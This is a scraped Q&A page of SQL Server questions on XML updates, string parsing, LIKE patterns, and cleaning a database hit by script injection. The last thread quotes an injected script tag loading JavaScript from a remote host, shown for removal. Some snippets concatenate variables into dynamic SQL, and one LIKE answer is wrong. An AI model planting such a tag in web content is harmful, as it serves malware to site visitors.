Update(Replace partcial value) XML Column in SQL - sql

I have an XML column in my Table and i wanted to replace particular text wherever it appear in that column with a new text. Here is the xml structure,
<Story>
<StoryNonText>
<NonText>
<ImageID>1</ImageID>
<Src>http://staging.xyz.com/FolderName/1.png</Src>
</NonText>
<NonText>
<ImageID>2</ImageID>
<Src>http://staging.xyz.com/FolderName/2.png</Src>
</NonText>
</StoryNonText>
</Story>
In the above XML I wanted to replace all the <Src> values having http://staging.xyz.com/ to http://production.xyz.com/. Please guide me how i can do this!

You can use Replace() function as below:
Update TableName
SET
ColumnName=replace(CAST(ColumnName AS VARCHAR(8000)),'<Src>http://staging.xyz.com/','<Src>http://production.xyz.com/')

With a little help from a couple of XML functions you can do this in a loop.
The loop is necessary since replace value of can only replace one value at a time. This code assumes the URL is located first in the node and not embedded in text anywhere.
declare #T table(X xml);
insert into #T(X) values('<Story>
<StoryNonText>
<NonText>
<ImageID>1</ImageID>
<Src>http://staging.xyz.com/FolderName/1.png</Src>
</NonText>
<NonText>
<ImageID>2</ImageID>
<Src>http://staging.xyz.com/FolderName/2.png</Src>
</NonText>
</StoryNonText>
</Story> ');
declare #FromURL nvarchar(100);
declare #ToURL nvarchar(100);
set #FromURL = 'http://staging.xyz.com/';
set #ToURL = 'http://production.xyz.com/';
while 1 = 1
begin
update #T
set X.modify('replace value of (//*/text()[contains(., sql:variable("#FromURL"))])[1]
with concat(sql:variable("#ToURL"), substring((//*/text()[contains(., sql:variable("#FromURL"))])[1], string-length(sql:variable("#FromURL"))+1))')
where X.exist('//*/text()[contains(., sql:variable("#FromURL"))]') = 1;
if ##rowcount = 0
break;
end;
select *
from #T
replace value of (XML DML)
concat Function (XQuery)
contains Function (XQuery)
string-length Function (XQuery)
sql:variable() Function (XQuery)

There are many ways to do that.
The first way is to add a WHILE loop. Inside a loop, you search (CHARINDEX) for a position of first tag and first tag. Then, knowing the start and end positions, replace the value. Then on the next iteration you search again, but change starting position in CHARINDEX() function
The second way is to use SELECT ... FROM OPENXML + EXEC sp_xml_preparedocument

Related

How can I write this SQL while loop code to get an XML results in one line instead of 3 separate lines?

I'm trying to get all this XML result in one line instead of 3 for each column
DECLARE #ii INT = 10;
DECLARE #String1 NVARCHAR(4000);
SET #String1 = '';
WHILE(#ii <= 18)
BEGIN
SET #String1 = (#String1 + 'SELECT LoanNumber = ''Complaint'+CONVERT(VARCHAR(2),#ii)+'-Call1'' , LoanStatus=''Compliants'' , LoanStatusDate = CAST(GETDATE() AS DATE)
UNION
SELECT LoanNumber = ''Complaint'+CONVERT(VARCHAR(2),#ii)+'-Call2'', LoanStatus=''Compliants'' , LoanStatusDate = CAST(GETDATE() AS DATE)
UNION
SELECT LoanNumber = ''Complaint'+CONVERT(VARCHAR(2),#ii)+'-Call3'', LoanStatus=''Compliants'' , LoanStatusDate = CAST(GETDATE() AS DATE)')
IF #ii != 18
SET #string1 = #string1 + ' UNION '
ELSE
SET #string1 = #string1 + 'FOR XML PATH (''Loan''),ROOT(''Loans'') '
SET #ii = #ii+1
END
EXEC sp_executesql #String1
I want something like this:
<Loans>
<LoanNumber>Complaint10-Call1<LoanStatus>Compliants<LoanStatusDate>2019-01-18
</Loan>
<Loan>
<LoanNumber>Complaint10-Call2 <LoanStatus>Compliants<LoanStatusDate>2019-01-18
</Loan>
<Loan>
<LoanNumber>Complaint10-Call3<LoanStatus>Compliants<LoanStatusDate>2019-01-18
</Loan>
Instead of the result that you get when you execute the code I provided. I appreciate your help.
This might be wild guessing, but I've got the feeling, that I understand, what this is about:
if you run the code you will see the result. no input data is needed .
I just want the structure of the xml outcome to all be on one line for
one set of each loop
Your provided code leads to this:
<Loans>
<Loan>
<LoanNumber>Complaint10-Call1</LoanNumber>
<LoanStatus>Compliants</LoanStatus>
<LoanStatusDate>2019-01-22</LoanStatusDate>
</Loan>
<Loan>
<LoanNumber>Complaint10-Call2</LoanNumber>
<LoanStatus>Compliants</LoanStatus>
<LoanStatusDate>2019-01-22</LoanStatusDate>
</Loan>
<!-- more of them-->
</Loans>
This is perfectly okay, valid XML.
But you want the result
outcome to all be on one line for one set of each loop
Something like this?
<Loans>
<Loan>
<LoanNumber>Complaint10-Call1</LoanNumber><LoanStatus>Compliants</LoanStatus><LoanStatusDate>2019-01-22</LoanStatusDate>
</Loan>
<!-- more of them-->
</Loans>
There is a big misconception I think... XML is not the thing you see. The same XML can look quite differently, without any semantic difference:
Check this out:
DECLARE #xmltable table(SomeXml XML)
INSERT INTO #xmltable VALUES
--the whole in one line
('<root><a>test</a><a>test2</a></root>')
--all <a>s in one line
,('<root>
<a>test</a><a>test2</a>
</root>')
--each element in one line
,('<root>
<a>test</a>
<a>test2</a>
</root>')
--white space going wild...
,('<root>
<a>test</a>
<a>test2</a>
</root>');
--now check the results
SELECT * FROM #xmltable;
This means: How the XML appears is a matter of the interpreter. The same XML opened with another tool might appear differently. Dealing with XML means dealing with data but not with format... The actual format has no meaning and should not matter at all...
Starting with SQL-Server 2016 you might have a look at JSON, if you need a tiny format:
DECLARE #somedata table(SomeValue VARCHAR(100),SomeStatus VARCHAR(100),SomeDate DATE);
INSERT INTO #somedata VALUES
('Complaint10-Call1','Complaints','2019-01-22')
,('Complaint10-Call2','Complaints','2019-01-22')
,('Complaint10-Call3','Complaints','2019-01-22');
SELECT * FROM #somedata FOR JSON PATH;
The result comes in one line:
[{"SomeValue":"Complaint10-Call1","SomeStatus":"Complaints","SomeDate":"2019-01-22"},{"SomeValue":"Complaint10-Call2","SomeStatus":"Complaints","SomeDate":"2019-01-22"},{"SomeValue":"Complaint10-Call3","SomeStatus":"Complaints","SomeDate":"2019-01-22"}]

Can Multiple Parameter be used with LIKE in SQL

I am getting data from database in a format like "chem*,bio*" what i want to do is after i split the string into two i want to fetch all records containing "chem" and "bio" .. using LIKE with multiple parameter is something i want since CONTAIN will bring in irrelevant data too. Kindly help.
its something like this
assume:
#cwork2 ='chem*,bio*'
#cw1=#cw1 +'OR contains (name,'''+#Cwork1+''')'
#cw1=#cw1 +'OR name LIKE ('''+#Cwork1+''','%')'
Try this:
You can use pipeline (|) to achieve Or Condition
select * from Tablename where name like '[chem|bio]%';
just add them in an OR condition.
#cw1 = #cw1 OR name like '%chem%' OR name like '%bio%'
i found another way... although he answers provided are right on track but when talking about variables we cannot simply add on variables in the code. Hence forth i decided to put the variable in a #temp table, loop it through and then accordingly fetch data
insert into #publication select item from fsplit(#Work,',')
Declare #loopc int=1
while (#loopc <= (SELECT count(*) from #pub))
Begin
set #Cwork1= (select name from #pub where id= #loopc);
if CHARINDEX(#Cwork1,'*')<0
Begin
set #cw1='or pub.name ='''+#Cwork1+''')'
end
else
begin
set #Cwork1 = REPLACE(#Cwork1,'*','%');
set #cw1=#cw1 +'OR pub.name LIKE ('''+#Cwork1+''')'
end
set #loopc= #loopc +1;
end
set #cw1= (SELECT STUFF(#cw1, CHARINDEX('or', #cw1), LEN('or'), ''))
set #cw1= '('+#cw1+')'
set #Au2= #Au2 + ' and '+ #cw1

Substring from right by character SQL

I have a string(s)-
CO_CS_SV_Integrate_WP_BalancingCostRiskandComplexityinYourDRStrat_Apr-Jun
Or
CO_CS_SV_CommVaultTapSponsorship_WP_GartnerNewsletterSmartIdeaforBigData_Jan-Mar
Or
CO_CS_IA_eMedia_WP_Top5eDiscoveryChallengesSolved_Apr-Jun
I need to get the asset name associated with the campaign which is in the campaign name.
So for example "Balancing Cost Risk and Complexity in Your DR Strat"
would be the asset associated with the first campaign-
"CO_CS_SV_Integrate_WP_BalancingCostRiskandComplexityinYourDRStrat_Apr-Jun"
That is my goal. I want to get just that from the string ("Balancing Cost Risk and Complexity in Your DR Strat".
But I don't see how to strip out the asset from the campaign name. It is not consistent on position or anything else???
I think I can go from the right and and find the second "_"
But I don't know the syntax. I get as far as -
select campaign.name
,Right (campaign.name, charindex('_', REVERSE(campaign.name))) as Test
from campaign
which gives me -
_Apr-Jun
Any help or direction would be greatly appreciated
Thanks.
You could create a scalar function that accept the string, like the following:
CREATE FUNCTION myFunction
(
#str varchar(300)
)
RETURNS varchar(300)
AS
BEGIN
declare #reverse varchar(200),#idx1 int,#idx2 int
set #reverse = reverse(#str)
set #idx1 = CHARINDEX('_',#reverse)
set #idx2 = CHARINDEX('_',#reverse,#idx1+1)
return reverse(substring(#reverse,#idx1+1,#idx2-#idx1-1))
END
You can try with the following example:
select dbo.myFunction('CO_CS_SV_Integrate_WP_BalancingCostRiskandComplexityinYourDRStrat_Apr-Jun');

How to use Replace with %

I need exclude text from the "<==#" to the end (like %)
"TestDescription <==# info "dynamic text" ==>"
I tried use Replace with % but it does not work
select replace ( testfield, '<==# %', '') from table
The following will do what you want:
select left(testfield, charindex('<==#', testfield) - 1)
There is no reason to use wildcards for this. You only want the left part of the string before that substring.
If you want to replace <==# to %, then use
replace(testfield,'<==#','%') as ColName
Your question, which is not clear at the moment to me, tells me that you want to exclude all text that is between "<==" and "==>"
The code snippet below should work.
Declare #testfield NVARCHAR(100),
#newfield NVARCHAR(100), #beginloc INT, #endloc INT;
BEGIN
SET #testfield = 'TestDescription <==# info "dynamic text" ==>'
PRINT #testfield
SET #beginloc = PATINDEX('%<==%',#testfield)
SET #endloc = PATINDEX('%==>%',#testfield)
PRINT #beginloc
PRINT #endloc
SET #newfield = SUBSTRING(#testfield,0,18)
PRINT #newfield
END

Not able to remove injected script from database rows

I've been handed a MS SQL 2000 database which has been injected with malware.
The malware script is as follows:
<script src=http://www.someAddress.ru/aScript.js></script>
Now I want to remove this piece of code from the table rows.
As a test, I inputed < h1> Test < /h1> on a row, and successfully ran the following query:
UPDATE myTable
SET description = REPLACE (description, '<h1>','')
WHERE id = 2;
This removed the h1 tag.
But trying the same with the script tag does not work:
UPDATE myTable
set description = REPLACE (description, '<script src=http://www.someAddress.ru/aScript.js></script>','')
WHERE id = 2
Why does this not work?
UPDATE 2
WOHO! I found the solution!
I'm using the folloing code, which I found here: http://www.tek-tips.com/viewthread.cfm?qid=1563568&page=3
-- Look for open and close HTML tags making sure a letter or / follows < ensuring its an opening
-- HTML tag or closing HTML tag and not an unencoded < symbol
CREATE FUNCTION [dbo].[udf_StripHTML]
(#HTMLText VARCHAR(8000))
RETURNS VARCHAR(8000)
AS
BEGIN
DECLARE #Start INT
DECLARE #End INT
DECLARE #Length INT
SET #Start = CHARINDEX('<',#HTMLText)
SET #End = CHARINDEX('>',#HTMLText,CHARINDEX('<',#HTMLText))
SET #Length = (#End - #Start) + 1
WHILE #Start > 0
AND #End > 0
AND #Length > 0
BEGIN
SET #HTMLText = STUFF(#HTMLText,#Start,#Length,'')
SET #Start = CHARINDEX('<',#HTMLText)
SET #End = CHARINDEX('>',#HTMLText,CHARINDEX('<',#HTMLText))
SET #Length = (#End - #Start) + 1
END
RETURN Replace(LTRIM(RTRIM(#HTMLText)),' ',' ')
END
GO
To remove the HTML tags / scripts, I run the following query:
UPDATE mytable
SET description = [dbo].[udf_StripHTML](description)
//WHERE id = 35;
This works perfectly. Note that this script removes ALL html. So if I only want to remove < script> , I just replace '<' with '< script'.
Have you tried looking for just aScript.js, the entry could be url_encoded, or something similar, so it gives something like
%3Cscript+src%3Dhttp%3A%2F%2Fwww.someAddress.ru%2FaScript.js%3E%3C%2Fscript%3E
Reread Question
Do you mean that even when you have the script tag in a column with id=2 it doesn't work? Because if its not working are you sure that it exists in row with id=2? :p
Should work, unless there are other hidden characters in there you can't see, or there is some form of encoding going on. Can you SELECT a suspect row to look at more closely.
I would tend to completely DELETE FROM myTable WHERE description LIKE '%someAddress.ru%' where possible.
However, fixing the database isn't a real solution; the application must be fixed. It shouldn't ever be echoing text out of the database unencoded. If someone enters some data including the string <script> it should simply appear on the page as the literal string <script>, or in the source <script>.
Wouldn't the src attribute value be surrounded by quotes? If so, you would have to escape them to get a proper match on the replace.
Why not try:
UPDATE myTable
set description = REPLACE (description, 'www.someAddress.ru','localhost')
WHERE id = 2
That would eliminate the immediate hijacking problem, and would likely avoid line break / funky characters problems.
You could try the following to strip the code out of your field (I'm assuming you have information in the same field that you want to keep):
update myTable
set description = case when PATINDEX('%<script%', notes) > 0
then SUBSTRING(notes, 1, PATINDEX('%<script%', notes)-1) + SUBSTRING(notes, PATINDEX('%script>%', notes) + 7, LEN(notes))
else notes
end
where id=2
You could first run a select to see if the value returned by the CASE statement is correct before running the update. It should not affect fields without a script tag in them, though.
Hold on...
Is the database related to a financial system? Is the application under Sarbanes-Oxley? Has any fraud been committed?
Any of those things preclude you from making changes that would, "destroy evidence." Those little guys running around with "FBI" on their jackets don't take kindly to that. It would be a good thing to back it up now, and the logs (SQL and Web), and put that backup on a few DVDs. It would be better to remove the disk and put in another one (but that may not be an option).
Moving on to cleansing:
bobince's direction is the correct one. Don't look for the whole SCRIPT tag, or try to find variations. Instead, look for something in the script tag that isn't part of the normal dataset. That's what you key off. If it SELECTs okay, then turn it into a DELETE and save that query, because you will need it while you turn to fixing the application (guaranteed your database will get corrupted again).